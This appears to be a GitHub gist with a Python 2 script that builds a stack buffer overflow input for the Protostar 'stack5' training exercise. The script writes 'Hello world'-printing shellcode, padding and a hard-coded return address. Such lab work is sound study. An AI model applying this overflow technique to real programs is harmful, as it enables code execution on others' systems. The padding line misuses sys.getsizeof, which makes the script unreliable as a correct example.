Skip to content

Instantly share code, notes, and snippets.

@TheRealJunior
Created June 3, 2018 18:38
Show Gist options
  • Save TheRealJunior/de10309ea4fc50265f80222a6472298c to your computer and use it in GitHub Desktop.
Save TheRealJunior/de10309ea4fc50265f80222a6472298c to your computer and use it in GitHub Desktop.
protostar stack5 python script for payload input
import sys
shellcode = "\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xffHello wolrd!\r\n"
with open('/tmp/stack5', 'w') as f:
times = 76 - sys.getsizeof(shellcode) # to fil the rest of the space
f.write(shellcode);
f.write('a' * times)
f.write('\xe0\xfc\xff\xbf') # write the pointer to the start of the address as EIP
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment